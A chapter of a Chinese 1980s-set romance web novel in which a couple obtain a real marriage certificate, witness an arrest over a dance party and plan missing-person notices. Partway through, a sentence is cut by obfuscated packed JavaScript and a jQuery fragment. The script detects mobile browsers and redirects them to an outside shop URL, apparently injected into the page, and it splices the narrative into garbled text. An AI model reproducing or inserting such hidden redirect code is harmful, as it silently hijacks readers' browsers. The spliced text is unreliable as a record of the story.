48. 这次真领证了
作品:《成了“老式”男友的白月光[八零]》 “当然不是,看到了就想给你买了。”
陈向川笑了笑,又一本正经地说道:“其实分开这段时间我也想了很多。”
“想什么?”
“想领证的事啊。”陈向川有些羞赧的笑了,“其实我不该这么逼你,现在倡导婚姻自由,你愿意和谁结婚是你的权利,不用因为我帮着照顾满仓就觉得必须嫁给我。”
“那你帮着照顾满仓,到底是为了姐夫的承诺,还是真喜欢我呢?”姚棠月反问。
屋子里又静下来,只能听到窗外呼呼的风声。陈向川扭头,看到的便是她专注的眼神。
他想到这些天来的思考,从口袋里掏出几张捏的皱皱巴巴的纸递给她。
姚棠月不明所以,就问:“这是什么?”
“我准备拍几份电报,可还没想好内容,你要不要帮我参谋参谋?”
话题转的突兀了些但也情有可原,其实她心里对陈向川到底是什么意思她也说不好。姚棠月并没期待此刻能得到他什么满意的回答,就顺着他话问:“给谁的?”
“第一封是给你姐夫的。”陈向川看见她眼神里的诧异,浅笑着说:“之前那次是假的就算了,真要领证了,这么大的事总得让他知道。”
“也是。”姚棠月点点头,“姐夫估计巴不得把我嫁出去,何况你俩互为救命恩人,这方面你不用担心,实话实说就好了。”
陈向川嗯了一声,“第二封…要发到北京。”
“北京?”姚棠月脑洞大开,鬼使神差道:“你在福建看到啥不能解决的,要告御状啊?”
“……”陈向川被她神奇的脑回路震住,无奈地抬手在她头上摸摸,带着笑腔说:“我家在北京。”
姚棠月这才想起来这茬事。对哦,陈向川可是糖坊…哦不,现在应该是糖厂的厂二代了。可他联系那儿干什么呢,他要回去吗?
这么想了,她也就这么问了。
陈向川却摇摇头,“我想回去,可不是现在。”
他接着从抽屉里拿出一封信来,信件上的来信人署名是徐家栋。
“听他说,他之前在北京见过我妈,那边二老还在找我。”陈向川垂下眼眸,声音弱了些显得兴致不高,“其实我活下来以后就该给他们报平安的,可当时被各种事耽搁了。”
“这一耽搁,反而后面再不知道怎么开口了。”他抬头往另一处房屋的方向看了一眼又收回眼神,轻轻叹了口气说:“现在我想等到帮姚畅找到家人以后再回去,可结婚这么大的事总该和他们说一声顺便报个平安,毕竟他们都找我十多年了。”
姚棠月点头表示同意,又说:“其实厂子刚起步事不多,现在姚畅情况也稳定了,满仓也很乖,你现在就可以回去。”
陈向川眼神灼灼地看着她,似蛊惑一般低声说着:“那你不跟我回去啊?”
“我?”姚棠月轻笑着拍开他靠得越来越近的脸,“好事要一件件说,给二老一个缓冲的机会。”
最终两人挑了个黄道吉日,在一个风和日丽的上午将结婚证换了个真的。
回去的路上,自行车拐进巷口,便见包子铺门口停了一辆警车。
刚领到结婚证的一对“旧人”没了顾忌,手拉着手挤到门口。姚棠月歪头过去“嘿”了一声,朝包子铺老板娘孙蓉笑笑,“孙姐,这是怎么了?”
孙蓉左右瞥了一眼,压低声音道:“老刘家小儿子,大白天在屋里搞舞会,让联防队的抓起来了!”
紧接着几位身穿制服的人押着十来个青年男女从巷子里走出来。如今已是十一月,年轻人火力旺盛,这里头的男同志大多穿着一件单背心,女同志则是花花绿绿的裙子都有。
作为良好市民,尽管自己身正不怕影子,看到这么多警察从家门口经过姚棠月还是觉得心有余悸。
幸好今天他们把证领了,幸好之前没人举报她和陈向川,否则人真来查了,就凭两人在一张床上躺着的关系,都够吃不知道多少次枪子了。
回去以后她便将自己这番想法如
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328393|195587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实相告了,陈向川只笑着道:“我们做的都是好事,老天爷自然会眷顾我们。”
“不过这规矩确实严苛了点。”陈向川小声辩驳了几句,“青年男女处对象有点亲密举动也正常,虽说我是主张婚后再…”说着他瞥了一眼姚棠月,脸红红的。
姚棠月正写材料呢,听到这里就随口问了一句:“婚后再什么?”
“没什么。”陈向川轻笑了一声,又主动凑上来抚着她双肩,下巴在她额头蹭了蹭,“你又在写什么?”
“寻人启事。”姚棠月没理会身后这人的深意,低头继续写写画画,“上次托师傅印的那些今天沿途我看了眼,都被撕得差不多了,我看指望贴电线杆上是不行了。”
“嗯。”见她这么认真,陈向川反而不好意思再抱下去,便松开退到了一边,耐心和她商量着:“要不要去码头、邮局、公交站这些地方?还有像孙姐这种早餐铺?找些人流量大的地方。”
“我也想过。”姚棠月转过身来一脸苦恼,“我前脚贴了后脚就让人撕了怎么办?有的甚至都不让我贴,说我耽误他们做生意了。你说他们是不是故意的,我就贴个寻人启事怎么就耽误他们做生意了?”
“话也不能这么说。”陈向川安慰她,“怎么说那都是在人家的地盘上,让你贴是情分,不让贴也合理。”
姚棠月本想和他商量商量,岂料一点有用建议没收到,还被他教育了一通,当即黑了脸。
和她相处这么久,要是还读不懂她这会的心意,他也不配做丈夫了。
一看她别扭地嘟嘴,陈向川当即明白自己说错了话,又改口道:“但话又说回来…贴一下没什么大不了,他们确实很过分!”
姚棠月噗呲一下笑出声,双手抱臂道:“正说是你,反说也是你。”
“先不说这些了。”见她心情大好,陈向川又起身,弯腰从背后搂着她,同她脸贴着脸地蹭,轻吻了一下她的耳垂问:
“今天持证上岗了,是不是该做点正事呀?”

